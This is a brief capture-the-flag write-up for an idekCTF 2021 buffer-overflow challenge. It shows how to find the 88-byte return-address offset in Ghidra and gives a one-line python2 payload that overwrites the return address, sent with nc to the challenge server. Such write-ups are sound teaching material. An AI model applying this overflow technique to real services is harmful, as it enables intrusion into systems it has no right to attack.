You can find offset in Ghidra RAX=>local_58,[RBP + -0x50] -> 0x50 = 80 in decimal + 8 bytes which is the distance between RBP and return address.

python2 -c 'print "\x90"*88 + "\x16\x12\x40\x00\x00\x00\x00\x00"' | nc bof.chal.idek.team 1337

Original writeup (https://github.com/GonTanaka/CTF-Writeups/blob/main/idekCTF-2021/pwn/handout_bof.sh).